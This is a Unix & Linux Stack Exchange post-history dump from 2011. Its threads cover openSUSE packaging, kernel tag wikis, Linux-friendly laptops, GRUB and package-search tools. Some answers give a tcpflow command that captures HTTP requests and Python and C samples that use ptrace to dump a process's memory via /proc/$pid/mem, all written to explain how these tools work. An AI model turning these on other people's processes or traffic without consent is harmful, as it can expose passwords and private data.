  <row Id="14350" PostHistoryTypeId="5" PostId="6298" RevisionGUID="efe4d117-a6e2-48fd-b2d0-6da42eccc7d6" CreationDate="2011-01-22T22:15:49.493" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do I upgrade python on openSUSE?](http://unix.stackexchange.com/questions/6199/how-do-i-upgrade-python-on-opensuse)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi &#xD;&#xA;If you look at my previous question you will find this one as same as that but as I couldn't solve my problem yet I want to ask again, I did tried all your good suggestions but there were no mercurial package in opensuse 10.2(my linux) please give me another sollution which doesn't need packages I'm completely confused and I just installed opensuse 11.1 but it had the same problems(also I'm not familiar with this version and even couldn't find yum) :(     &#xD;&#xA;please give me some suggestions for a begginer in Linux, any help to make my program work. Any help would be appreciated.   &#xD;&#xA;Bests &#xD;&#xA;" />
  <row Id="14351" PostHistoryTypeId="2" PostId="6300" RevisionGUID="918277f2-083f-4650-9f80-ac224dc6dde7" CreationDate="2011-01-22T22:39:42.150" UserId="3309" Text="Try `tcpflow`:&#xD;&#xA;&#xD;&#xA;    tcpflow -p -c -i eth0 port 80 | grep -oE '(GET|POST|HEAD) .* HTTP/1.[01]|Host: .*'&#xD;&#xA;&#xD;&#xA;Output is like this:&#xD;&#xA;&#xD;&#xA;    GET /search?q=stack+exchange&amp;btnI=I%27m+Feeling+Lucky HTTP/1.1&#xD;&#xA;    Host: www.google.com&#xD;&#xA;&#xD;&#xA;You can obviously add additional HTTP methods to the grep statement, and use `sed` to combine the two lines into a full URL." />
  <row Id="14352" PostHistoryTypeId="25" PostId="6294" RevisionGUID="8e50f8d9-9a31-414a-85f5-524a4ec3a36a" CreationDate="2011-01-22T22:55:46.897" Comment="http://twitter.com/#!/StackUnix/status/28948969337917441" />
  <row Id="14353" PostHistoryTypeId="5" PostId="5482" RevisionGUID="390812bb-b1e5-4a10-a83d-7957fa71eac9" CreationDate="2011-01-22T23:09:25.963" UserId="3069" Comment="added 893 characters in body" Text="The kernel of every operating system builds the bridge between the application and the actual processing on the hardware level.&#xD;&#xA;&#xD;&#xA;A typical UNIX kernel is responsible for:&#xD;&#xA;&#xD;&#xA; - CPU Program execution&#xD;&#xA; - Memory Management&#xD;&#xA; - Processes (Scheduling, Synchronization, Interprocess Communication)&#xD;&#xA; - Signals (Exceptions, Interrupts)&#xD;&#xA; - Filesystems (Virtual, Block)&#xD;&#xA; - I/O Architecture (Devices, Files, Networking)&#xD;&#xA;&#xD;&#xA;The two most common architectures for UNIX kernels are:&#xD;&#xA;&#xD;&#xA; - **Monolithic kernel**: Every kernel layer is integrated in into the whole kernel and therefore runs in kernel space. Every user application has to access the kernel through a high-level interface. Most UNIX(-like) kernel follow this approach.&#xD;&#xA;&#xD;&#xA; - **Microkernel**: Only the essential parts of the kernel run in kernel space. Applications are allowed to directly address different kernel layers (device drivers, filesystems, ..).&#xD;&#xA;&#xD;&#xA;## Linux&#xD;&#xA;&#xD;&#xA;The [tag:linux] kernel is a UNIX-like kernel initially created by Linus Torvalds in 1991 and now is maintained by developers around the world.&#xD;&#xA;&#xD;&#xA;### Linux kernel compilation&#xD;&#xA;&#xD;&#xA;* [Ubuntu Wiki Kernel](https://wiki.ubuntu.com/Kernel)&#xD;&#xA;* [What is the benefit of compiling your own linux kernel?](http://unix.stackexchange.com/questions/905/what-is-the-benefit-of-compiling-your-own-linux-kernel)&#xD;&#xA;&#xD;&#xA;### Linux kernel internals&#xD;&#xA;&#xD;&#xA;* [LDD = Linux Device Drivers](http://lwn.net/Kernel/LDD3/): a book (on paper or free online) on Linux kernel internals&#xD;&#xA;* [LWN = Linux Weekly News](http://lwn.net/Kernel/Index/): kernel evolutions explained&#xD;&#xA;* [LKML = the linux-kernel mailing list](http://www.kernel.org/pub/linux/docs/lkml/), a high-volume high-technicity discussion list ([archives](http://lkml.org/))&#xD;&#xA;* [LXR = the Linux cross-reference](http://lxr.linux.no/linux): a nice way to browse the kernel source&#xD;&#xA;* [Understanding the linux kernel source](http://unix.stackexchange.com/questions/797/understanding-the-linux-kernel-source)&#xD;&#xA;" />
  <row Id="14354" PostHistoryTypeId="5" PostId="5483" RevisionGUID="5f2019de-d019-4d3a-8c79-d58460e91720" CreationDate="2011-01-22T23:09:26.087" UserId="3069" Comment="edited body" Text="Everything about UNIX kernels: development, configuration, compilation, design, etc." />
  <row Id="14355" PostHistoryTypeId="2" PostId="6301" RevisionGUID="140cb49e-a339-474c-94fe-e5f106f85d43" CreationDate="2011-01-22T23:21:03.130" UserId="885" Text="The [Linux `proc(5)` man page](http://www.kernel.org/doc/man-pages/online/pages/man5/proc.5.html) tells me that `/proc/$pid/mem` “can be used to access the pages of a process's memory”. But a straightforward attempt to use it only gives me&#xD;&#xA;&#xD;&#xA;    $ cat /proc/$$/mem /proc/self/mem&#xD;&#xA;    cat: /proc/3065/mem: No such process&#xD;&#xA;    cat: /proc/self/mem: Input/output error&#xD;&#xA;&#xD;&#xA;Why didn't these work? How can I read from `/proc/$pid/self`? And what is this strange “no such process” error (3065 is the PID of my shell)?&#xD;&#xA;" />
  <row Id="14356" PostHistoryTypeId="1" PostId="6301" RevisionGUID="140cb49e-a339-474c-94fe-e5f106f85d43" CreationDate="2011-01-22T23:21:03.130" UserId="885" Text="How do I read from `/proc/$pid/mem` under Linux?" />
  <row Id="14357" PostHistoryTypeId="3" PostId="6301" RevisionGUID="140cb49e-a339-474c-94fe-e5f106f85d43" CreationDate="2011-01-22T23:21:03.130" UserId="885" Text="élinuxàékernelàéprocessàémemoryàéprocà" />
  <row Id="14358" PostHistoryTypeId="2" PostId="6302" RevisionGUID="5e8172f4-0951-426b-b592-6517025a4209" CreationDate="2011-01-22T23:21:23.503" UserId="885" Text="### `/proc/$pid/maps`&#xD;&#xA;&#xD;&#xA;`/proc/$pid/mem` shows the contents of $pid's memory mapped the same way as in the process, i.e., the byte at offset *x* in the pseudo-file is the same as the byte at address *x* in the process. If an address is unmapped in the process, reading from the corresponding offset in the file returns `EIO` (Input/output error). For example, since the first page in a process is never mapped (so that dereferencing a `NULL` pointer fails cleanly rather than unintendedly accessing actual memory), reading the first byte of `/proc/$pid/mem` always yield an I/O error.&#xD;&#xA;&#xD;&#xA;The way to find out what parts of the process memory are mapped is to read `/proc/$pid/maps`. This file contains one line per mapped region, looking like this:&#xD;&#xA;&#xD;&#xA;    08048000-08054000 r-xp 00000000 08:01 828061     /bin/cat&#xD;&#xA;    08c9b000-08cbc000 rw-p 00000000 00:00 0          [heap]&#xD;&#xA;&#xD;&#xA;The first two numbers are the boundaries of the region (addresses of the first byte and the byte after last, in hexa). The next column contain the permissions, then there's some information about the file (offset, device, inode and name) if this is a file mapping. See the [`proc(5)`](http://www.kernel.org/doc/man-pages/online/pages/man5/proc.5.html) man page or [Understanding Linux /proc/id/maps](http://stackoverflow.com/questions/1401359/understanding-linux-proc-id-maps) for more information.&#xD;&#xA;&#xD;&#xA;Here's a proof-of-concept script that dumps the contents of its own memory.&#xD;&#xA;&#xD;&#xA;    #! /usr/bin/env python&#xD;&#xA;    import re&#xD;&#xA;    maps_file = open(&quot;/proc/self/maps&quot;, 'r')&#xD;&#xA;    mem_file = open(&quot;/proc/self/mem&quot;, 'r', 0)&#xD;&#xA;    for line in maps_file.readlines():  # for each mapped region&#xD;&#xA;        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)&#xD;&#xA;        if m.group(3) == 'r':  # if this is a readable region&#xD;&#xA;            start = int(m.group(1), 16)&#xD;&#xA;            end = int(m.group(2), 16)&#xD;&#xA;            mem_file.seek(start)  # seek to region start&#xD;&#xA;            chunk = mem_file.read(end - start)  # read region contents&#xD;&#xA;            print chunk,  # dump contents to standard output&#xD;&#xA;    maps_file.close()&#xD;&#xA;    mem_file.close()&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;### `/proc/$pid/mem`&#xD;&#xA;&#xD;&#xA;If you try to read from the `mem` pseudo-file of another process, it doesn't work: you get an `ESRCH` (No such process) error.&#xD;&#xA;&#xD;&#xA;The permissions on `/proc/$pid/mem` (`r--------`) are more liberal than what should be the case. For example, you shouldn't be able to read a setuid process's memory. Furthermore, trying to read a process's memory while the process is modifying it could give the reader an inconsistent view of the memory, and worse, there were race conditions that could trace older versions of the Linux kernel (according to [this lkml thread](http://lkml.indiana.edu/hypermail/linux/kernel/0505.0/0858.html), though I don't know the details). So additional checks are needed:&#xD;&#xA;&#xD;&#xA;* The process that wants to read from `/proc/$pid/mem` must attach to the process using [`ptrace`](http://www.kernel.org/doc/man-pages/online/pages/man2/ptrace.2.html) with the `PTRACE_ATTACH` flag. This is what debuggers do when they start debugging a process; it's also what [`strace`](http://linux.die.net/man/1/strace) does to a process's system calls. Once the reader has finished reading from `/proc/$pid/mem`, it should detach by calling `ptrace` with the `PTRACE_DETACH` flag.&#xD;&#xA;* The observed process must not be running. Normally calling `ptrace(PTRACE_ATTACH, …)` will stop the target process (it sends a `STOP` signal), but there is a race condition (signal delivery is asynchronous), so the tracer should call `wait` (as documented in [`ptrace(2)`](http://www.kernel.org/doc/man-pages/online/pages/man2/ptrace.2.html)).&#xD;&#xA;&#xD;&#xA;In the Linux kernel source, the code providing per-process entries in `/proc` is in [`fs/proc/base.c`](http://lxr.linux.no/#linux+v2.6.37/fs/proc/base.c), and the function to read from `/proc/$pid/mem` is [`mem_read`](http://lxr.linux.no/linux+*/fs/proc/base.c#L779). The additional check is performed by [`check_mem_permission`](http://lxr.linux.no/#linux+v2.6.37/fs/proc/base.c#L197).&#xD;&#xA;&#xD;&#xA;Here's some sample C code to attach to a process and read a chunk its of `mem` file (error checking omitted):&#xD;&#xA;&#xD;&#xA;    sprintf(mem_file_name, &quot;/proc/%d/mem&quot;, pid);&#xD;&#xA;    mem_fd = open(mem_file_name, O_RDONLY);&#xD;&#xA;    ptrace(PTRACE_ATTACH, pid, NULL, NULL);&#xD;&#xA;    waitpid(pid, NULL, 0);&#xD;&#xA;    lseek(mem_fd, offset, SEEK_SET);&#xD;&#xA;    read(mem_fd, buf, _SC_PAGE_SIZE);&#xD;&#xA;    ptrace(PTRACE_DETACH, pid, NULL, NULL);&#xD;&#xA;&#xD;&#xA;[I've already posted a proof-of-concept script for dumping `/proc/$pid/mem` on another thread](http://unix.stackexchange.com/questions/6267/how-to-unswap-my-desktop/6271#6271).&#xD;&#xA;" />
  <row Id="14359" PostHistoryTypeId="5" PostId="6271" RevisionGUID="479537e0-3d4c-4efe-a9c4-d0ab6622c7ce" CreationDate="2011-01-22T23:23:44.563" UserId="885" Comment="cite my `/proc/$pid/mem` question" Text="The following quick-and-dirty python script dumps the memory of a process to stdout. This has the side effect of loading any swapped out page or mapped file. Call it as `cat_proc_mem 123 456 789` where the arguments are process IDs.&#xD;&#xA;&#xD;&#xA;This script is completely specific to Linux. It may be adaptable to other systems with a similar `/proc` structure (Solaris?), but forget about running it on e.g. *BSD. Even on Linux, you may need to change the definition of `c_pid_t` and the values of `PTRACE_ATTACH` and `PTRACE_DETACH`. This is a proof-of-principle script, not meant as an example of good programming practices. Use at your own risk.&#xD;&#xA;&#xD;&#xA;Linux makes the memory of a process available as `/proc/$pid/mem`. Only certain address ranges are readable. These ranges can be found by reading the memory mapping information from the text file `/proc/$pid/maps`. The pseudo-file `/proc/$pid/mem` cannot be read by all processes that have the permission to read it: the reader process must have called `ptrace(PTRACE_ATTACH, $pid)`.&#xD;&#xA;&#xD;&#xA;    #! /usr/bin/env python&#xD;&#xA;    import ctypes, re, sys&#xD;&#xA;    &#xD;&#xA;    ## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.&#xD;&#xA;    c_ptrace = ctypes.CDLL(&quot;libc.so.6&quot;).ptrace&#xD;&#xA;    c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t&#xD;&#xA;    c_ptrace.argtypes = [ctypes.c_int, c_pid_t, ctypes.c_void_p, ctypes.c_void_p]&#xD;&#xA;    def ptrace(attach, pid):&#xD;&#xA;        op = ctypes.c_int(16 if attach else 17) #PTRACE_ATTACH or PTRACE_DETACH&#xD;&#xA;        c_pid = c_pid_t(pid)&#xD;&#xA;        null = ctypes.c_void_p()&#xD;&#xA;        err = c_ptrace(op, c_pid, null, null)&#xD;&#xA;        if err != 0: raise SysError, 'ptrace', err&#xD;&#xA;    &#xD;&#xA;    ## Parse a line in /proc/$pid/maps. Return the boundaries of the chunk&#xD;&#xA;    ## the read permission character.&#xD;&#xA;    def maps_line_range(line):&#xD;&#xA;        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)&#xD;&#xA;        return [int(m.group(1), 16), int(m.group(2), 16), m.group(3)]&#xD;&#xA;    &#xD;&#xA;    ## Dump the readable chunks of memory mapped by a process&#xD;&#xA;    def cat_proc_mem(pid):&#xD;&#xA;        ## Apparently we need to ptrace(PTRACE_ATTACH, $pid) to read /proc/$pid/mem&#xD;&#xA;        ptrace(True, int(pid))&#xD;&#xA;        ## Read the memory maps to see what address ranges are readable&#xD;&#xA;        maps_file = open(&quot;/proc/&quot; + pid + &quot;/maps&quot;, 'r')&#xD;&#xA;        ranges = map(maps_line_range, maps_file.readlines())&#xD;&#xA;        maps_file.close()&#xD;&#xA;        ## Read the readable mapped ranges&#xD;&#xA;        mem_file = open(&quot;/proc/&quot; + pid + &quot;/mem&quot;, 'r', 0)&#xD;&#xA;        for r in ranges:&#xD;&#xA;            if r[2] == 'r':&#xD;&#xA;                mem_file.seek(r[0])&#xD;&#xA;                chunk = mem_file.read(r[1] - r[0])&#xD;&#xA;                print chunk,&#xD;&#xA;        mem_file.close()&#xD;&#xA;        ## Cleanup&#xD;&#xA;        ptrace(False, int(pid))&#xD;&#xA;    &#xD;&#xA;    if __name__ == &quot;__main__&quot;:&#xD;&#xA;        for pid in sys.argv[1:]:&#xD;&#xA;            cat_proc_mem(pid)&#xD;&#xA;&#xD;&#xA;See also [more information on `/proc/$pid/mem`](http://unix.stackexchange.com/questions/6301/how-do-i-read-from-proc-pid-mem-under-linux)." />
  <row Id="14360" PostHistoryTypeId="2" PostId="6303" RevisionGUID="75675aa6-9f57-4f37-bba3-d27d2a49f738" CreationDate="2011-01-23T00:38:07.587" UserId="4084" Text="What's the best way to find a laptop with hardware that is amenable to installing and running GNU/Linux? I'm looking for something that will ideally work with GPL'd drivers and/or firmware.&#xD;&#xA;&#xD;&#xA;I took a quick look at www.linux-on-laptops.com, but they don't list some of the newer models for Lenovo, for example. Most of the test cases seem to be quite dated. Also, It's not clear where to start looking given so much information.&#xD;&#xA;&#xD;&#xA;Unfortunately, the FSF website ( www.fsf.org/resources/hw ) doesn't list many laptop possibilities. LAC ( http://laclinux.com/gnu/Laptop ), referenced from the FSF website, doesn't mention wireless connectivity as being a feature of their laptops, probably because of firmware issues.&#xD;&#xA;&#xD;&#xA;I've been looking for a laptop that will accept the ath9k driver because those cards don't require firmware, but getting model type from generic specs pages is not always possible. Searching for lspci dumps online can be can be a roll of the dice.&#xD;&#xA;&#xD;&#xA;And then there's the issue of what kind of graphics card is ideal from a FSF perspective. From the FSF website: &quot;This page is not an exhaustive list. Also, some video cards may work with free software, but without 3D acceleration. This information should be considered very tentative -- we are doing our best to update it.&quot;&#xD;&#xA;&#xD;&#xA;Does anyone know the details of what works and what doesn't? What good combinations are out there? What do you use? Where can I search? Or will I have to bite the bullet and use some proprietary packages?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="14361" PostHistoryTypeId="1" PostId="6303" RevisionGUID="75675aa6-9f57-4f37-bba3-d27d2a49f738" CreationDate="2011-01-23T00:38:07.587" UserId="4084" Text="Ideal Hardware for GNU/Linux Laptop" />
  <row Id="14362" PostHistoryTypeId="3" PostId="6303" RevisionGUID="75675aa6-9f57-4f37-bba3-d27d2a49f738" CreationDate="2011-01-23T00:38:07.587" UserId="4084" Text="élinuxàélaptopàéhardwareöcompatibilityàéfreeösoftwareà" />
  <row Id="14363" PostHistoryTypeId="5" PostId="6303" RevisionGUID="3b91931a-a525-488c-9e6f-f3605ef62d7a" CreationDate="2011-01-23T01:12:32.613" UserId="885" Comment="hyperlinks" Text="What's the best way to find a laptop with hardware that is amenable to installing and running GNU/Linux? I'm looking for something that will ideally work with GPL'd drivers and/or firmware.&#xD;&#xA;&#xD;&#xA;I took a quick look at [linux-on-laptops.com](http://www.linux-on-laptops.com/), but they don't list some of the newer models for Lenovo, for example. Most of the test cases seem to be quite dated. Also, It's not clear where to start looking given so much information.&#xD;&#xA;&#xD;&#xA;Unfortunately, the [FSF website](http://www.fsf.org/resources/hw/) doesn't list many laptop possibilities. [LAC](http://laclinux.com/gnu/Laptop), referenced from the FSF website, doesn't mention wireless connectivity as being a feature of their laptops, probably because of firmware issues.&#xD;&#xA;&#xD;&#xA;I've been looking for a laptop that will accept the ath9k driver because those cards don't require firmware, but getting model type from generic specs pages is not always possible. Searching for lspci dumps online can be can be a roll of the dice.&#xD;&#xA;&#xD;&#xA;And then there's the issue of what kind of graphics card is ideal from a FSF perspective. From the FSF website:&#xD;&#xA;&gt;This page is not an exhaustive list. Also, some video cards may work with free software, but without 3D acceleration. This information should be considered very tentative -- we are doing our best to update it.&#xD;&#xA;&#xD;&#xA;Does anyone know the details of what works and what doesn't? What good combinations are out there? What do you use? Where can I search? Or will I have to bite the bullet and use some proprietary packages?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="14364" PostHistoryTypeId="2" PostId="6304" RevisionGUID="d0922426-9f3e-4a95-ac82-f2bb3ad283b0" CreationDate="2011-01-23T01:22:38.703" UserId="4089" Text="If you want to push the freedom exigence as far as possible, you would also want a coreboot BIOS. The best (only?) option, in this case, is RMS's laptop: a Lemote YeeLoong. It is however rather small (either 8.9'' or 10'') and underpowered but very cheap. Check http://www.tekmote.nl/epages/61504599.sf/nl_NL/?ObjectPath=/Shops/61504599/Categories/&quot;Lemote linux PC and Linux laptops&quot;&#xD;&#xA;&#xD;&#xA;When it comes to choosing a video card, go Intel. A Free (as in Freedom) driver AND firmware and you will have 3D acceleration." />
  <row Id="14365" PostHistoryTypeId="25" PostId="6303" RevisionGUID="1c534c6b-c3c9-4dbc-a8bb-399a383c6721" CreationDate="2011-01-23T01:55:47.723" Comment="http://twitter.com/#!/StackUnix/status/28994269410754561" />
  <row Id="14366" PostHistoryTypeId="2" PostId="6305" RevisionGUID="bd036ba3-28bc-4842-b2f9-dd8c309833fb" CreationDate="2011-01-23T02:55:27.490" UserId="3887" Text="[Linux compatible hardware][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux.org/hardware/  &#xD;&#xA;There is a list of notebooks there, too." />
  <row Id="14367" PostHistoryTypeId="2" PostId="6306" RevisionGUID="94b2b896-676d-44b0-b644-ba9ec3f07268" CreationDate="2011-01-23T03:56:40.907" UserId="4086" Text="We have a small cluster that has openSUSE as its base distro, but I do not think it is too important.  Ubuntu looks like a viable alternative and has quite a bit of documentation and community support.  On top of linux, we run Sun Grid Engine (and our cluster even includes Mac OS machines pretty seamlessly), but slurm would probably work for a simple setup.  We share home directories and /usr/local via NFS from a central server.  It works just fine for us.  More details are [available on our website][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://watson.nci.nih.gov/infrastructure.html" />
  <row Id="14368" PostHistoryTypeId="2" PostId="6307" RevisionGUID="30da8eec-2824-4f82-8d60-493f53a418cd" CreationDate="2011-01-23T03:57:59.107" UserId="4090" Text="On the dual boot option screen I choose Ubuntu and only get grub&gt;. I want to get into Ubuntu and start learning it a bit but am stuck. What would be the best way to fix my problem? &#xD;&#xA;" />
  <row Id="14369" PostHistoryTypeId="1" PostId="6307" RevisionGUID="30da8eec-2824-4f82-8d60-493f53a418cd" CreationDate="2011-01-23T03:57:59.107" UserId="4090" Text="I Wubi'ed my way into Ubuntu." />
  <row Id="14370" PostHistoryTypeId="3" PostId="6307" RevisionGUID="30da8eec-2824-4f82-8d60-493f53a418cd" CreationDate="2011-01-23T03:57:59.107" UserId="4090" Text="égrubà" />
  <row Id="14371" PostHistoryTypeId="2" PostId="6308" RevisionGUID="2f5f279f-791f-4a9a-8912-fb816328cd8b" CreationDate="2011-01-23T04:13:39.380" UserId="4090" Text="Next time I need to pay attention to where I install Ubuntu. If it is on an external media, like in this case, I either need to leave the drive plugged in, although I dont believe you can readily boot an OS via USB, or install Ubuntu locally. " />
  <row Id="14378" PostHistoryTypeId="25" PostId="6301" RevisionGUID="e426a463-f69b-481b-84e3-a6985e3e8e12" CreationDate="2011-01-23T04:55:47.693" Comment="http://twitter.com/#!/StackUnix/status/29039569965944832" />
  <row Id="14380" PostHistoryTypeId="25" PostId="6307" RevisionGUID="aaf6612d-dda2-4951-a8e1-61ef08219ecc" CreationDate="2011-01-23T07:55:47.717" Comment="http://twitter.com/#!/StackUnix/status/29084868428173312" />
  <row Id="14381" PostHistoryTypeId="4" PostId="6199" RevisionGUID="d695f672-33a7-4ea5-b11e-1cfade89e618" CreationDate="2011-01-23T07:56:09.553" UserId="1131" Comment="renamed subject, tags to better reflect the content of the question" Text="How do I install mercurial on openSUSE?" />
  <row Id="14382" PostHistoryTypeId="6" PostId="6199" RevisionGUID="d695f672-33a7-4ea5-b11e-1cfade89e618" CreationDate="2011-01-23T07:56:09.553" UserId="1131" Comment="renamed subject, tags to better reflect the content of the question" Text="épackageömanagementàéopensuseà" />
  <row Id="14383" PostHistoryTypeId="5" PostId="6263" RevisionGUID="1d523fbd-fcf4-4198-af07-335037b0d8f7" CreationDate="2011-01-23T08:15:05.170" UserId="688" Comment="added 31 characters in body" Text="If I want to check available versions of a package in Debian, I run `apt-cache policy pkgname` which in the case of `wajig` gives:&#xD;&#xA;&#xD;&#xA;    wajig:&#xD;&#xA;      Installed: 2.01&#xD;&#xA;      Candidate: 2.01&#xD;&#xA;      Version table:&#xD;&#xA;     *** 2.01 0&#xD;&#xA;            100 /var/lib/dpkg/status&#xD;&#xA;         2.0.47 0&#xD;&#xA;            500 file:/home/wena/.repo_bin/ squeeze/main i386 Packages&#xD;&#xA;            500 ftp://ftp.is.co.za/debian/ squeeze/main i386 Packages&#xD;&#xA;&#xD;&#xA;That means that there are three wajig packages, one that is installed (`/var/lib/dpkg/status`), and two others (which are the same version). One of these two is in a local repository and the other is available from a remote repository.&#xD;&#xA;&#xD;&#xA;How do I achieve a similar result on rpm systems?" />
  <row Id="14384" PostHistoryTypeId="2" PostId="6309" RevisionGUID="f67f7a4f-7e9b-4f00-9437-bb911ba43eda" CreationDate="2011-01-23T08:46:01.907" UserId="4093" Text="I'm using openSUSE 11.3 with &quot;latest updates&quot;.&#xD;&#xA;I have installed vimprobable and uzbl http://www.uzbl.org/ .&#xD;&#xA;Whenever I start one of this two, I get error message:&#xD;&#xA;&#xD;&#xA;**icedteanp plugin error: Failed to run etc/alternatives/../../bin/&#xD;&#xA;java. For more detail rerun &quot;firefox -g&quot; in a terminal window.**&#xD;&#xA;&#xD;&#xA;After some time(about 1min), the message disappears itself(or when I click &quot;close&quot; button), then browser(s) continue loading.., this error, again, appears on specific sites..&#xD;&#xA;What can I do? Thank you.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14385" PostHistoryTypeId="1" PostId="6309" RevisionGUID="f67f7a4f-7e9b-4f00-9437-bb911ba43eda" CreationDate="2011-01-23T08:46:01.907" UserId="4093" Text="icedteanp plugin error.." />
  <row Id="14386" PostHistoryTypeId="3" PostId="6309" RevisionGUID="f67f7a4f-7e9b-4f00-9437-bb911ba43eda" CreationDate="2011-01-23T08:46:01.907" UserId="4093" Text="éopensuseàéfirefoxàéjavaàébrowserà" />
  <row Id="14387" PostHistoryTypeId="5" PostId="6309" RevisionGUID="bbfdccfa-89a6-4098-b4a0-1e1f8f95141f" CreationDate="2011-01-23T08:51:41.430" UserId="4093" Comment="added 10 characters in body" Text="I'm using openSUSE 11.3 with &quot;latest updates&quot;.&#xD;&#xA;I have installed vimprobable and uzbl http://www.uzbl.org/ .&#xD;&#xA;&#xD;&#xA;Whenever I start one of this two, I get error message:&#xD;&#xA;&#xD;&#xA;**icedteanp plugin error: Failed to run etc/alternatives/../../bin/&#xD;&#xA;java. For more detail rerun &quot;firefox -g&quot; in a terminal window.**&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;After some time(about 1min), the message disappears itself(or when I click &quot;close&quot; button), then browser(s) continue loading.., this error, again, appears on specific sites..&#xD;&#xA;What can I do? Thank you." />
  <row Id="14388" PostHistoryTypeId="2" PostId="6310" RevisionGUID="a9c19d81-6a9f-45e7-96f9-954927550314" CreationDate="2011-01-23T08:54:05.967" UserId="3895" Text="I can't comment yet, so I'm answering here.  You can most definitely single-, dual- or multiple-boot OSs from a USB drive*. What do you mean &quot;install Ubuntu locally?  &#xD;&#xA;&#xD;&#xA;*As long as the BIOS supports booting from USB of course. All modern BIOSes support this. If you have a BIOS which does not, boot off the Plop Boot CD which then provides USB boot support." />
  <row Id="14389" PostHistoryTypeId="2" PostId="6311" RevisionGUID="f8148730-bf04-4125-9e3d-ef3b4b65e931" CreationDate="2011-01-23T10:34:29.360" UserId="688" Text="In the Debian family of OSes, `dpkg --search /bin/ls` gives:&#xD;&#xA;&#xD;&#xA;    coreutils: /bin/ls&#xD;&#xA;&#xD;&#xA;That is, the file &quot;**/bin/ls**&quot; belongs to the Debian package named coreutils.&#xD;&#xA;&#xD;&#xA;But this only works if the package is installed. What if it's not?" />
  <row Id="14390" PostHistoryTypeId="1" PostId="6311" RevisionGUID="f8148730-bf04-4125-9e3d-ef3b4b65e931" CreationDate="2011-01-23T10:34:29.360" UserId="688" Text="How to find out which (uninstalled) package a file belongs to?" />
  <row Id="14391" PostHistoryTypeId="3" PostId="6311" RevisionGUID="f8148730-bf04-4125-9e3d-ef3b4b65e931" CreationDate="2011-01-23T10:34:29.360" UserId="688" Text="édebianàépackageömanagementà" />
  <row Id="14392" PostHistoryTypeId="5" PostId="4705" RevisionGUID="92cc620e-c95f-4df1-ab9c-cbd9c5512e7b" CreationDate="2011-01-23T10:41:55.073" UserId="688" Comment="added 56 characters in body; deleted 11 characters in body; added 4 characters in body; added 45 characters in body" Text="In the Debian family of OSes, `dpkg --search /bin/ls` gives:&#xD;&#xA;&#xD;&#xA;    coreutils: /bin/ls&#xD;&#xA;&#xD;&#xA;That is, the file `/bin/ls` belongs to the Debian package named __coreutils__. (note that this only works if the package containing the specified file is already installed)&#xD;&#xA;&#xD;&#xA;What is the Fedora equivalent?" />
  <row Id="14393" PostHistoryTypeId="25" PostId="6309" RevisionGUID="2e1a2988-4b68-4c88-8aca-02364e74e06c" CreationDate="2011-01-23T10:55:47.843" Comment="http://twitter.com/#!/StackUnix/status/29130167813152768" />
  <row Id="14394" PostHistoryTypeId="2" PostId="6312" RevisionGUID="33a1db0a-6272-48f4-9de5-51dbaa6ea248" CreationDate="2011-01-23T11:06:17.420" UserId="3069" Text="Your `java` alternative is not configured properly, the webbrowser cannot find the binary.&#xD;&#xA;&#xD;&#xA;Update your alternatives:&#xD;&#xA;&#xD;&#xA;    update-alternatives --config java&#xD;&#xA;&#xD;&#xA;This should output only one (with a path) or multiple alternatives to choose from.&#xD;&#xA;If only one, check if the path exists, else select your alternative.&#xD;&#xA;&#xD;&#xA;Try again opening a page containing java elements.&#xD;&#xA;&#xD;&#xA;Still the same error?&#xD;&#xA;&#xD;&#xA;First, find out what provides `java`:&#xD;&#xA;&#xD;&#xA;    rpm -q --whatprovides java&#xD;&#xA;&#xD;&#xA;If this returns nothing, you have to install `java` first.  &#xD;&#xA;Otherwise, check where exactly the binary lies:&#xD;&#xA;&#xD;&#xA;    rpm -ql &lt;package-from-above&gt; | egrep '/bin/java$'&#xD;&#xA;&#xD;&#xA;This should show the `java` binary.&#xD;&#xA;&#xD;&#xA;Now update your alternatives to refer to that binary:&#xD;&#xA;&#xD;&#xA;    update-alternatives --set java &lt;path-from-above&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14395" PostHistoryTypeId="2" PostId="6313" RevisionGUID="a8f57273-9c53-40af-abc9-478cc7f8e37c" CreationDate="2011-01-23T11:20:12.153" UserId="688" Text="The standard tool for this is __apt-file__. Run `apt-file update` to download the index file. Here's the output:&#xD;&#xA;&#xD;&#xA;    Downloading complete file ftp://ftp.is.co.za/debian/dists/squeeze/Contents-i386.gz&#xD;&#xA;      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xD;&#xA;                                     Dload  Upload   Total   Spent    Left  Speed&#xD;&#xA;    100 16.6M  100 16.6M    0     0  33191      0  0:08:47  0:08:47 --:--:-- 38951&#xD;&#xA;&#xD;&#xA;After that, run `apt-file search search_term`." />
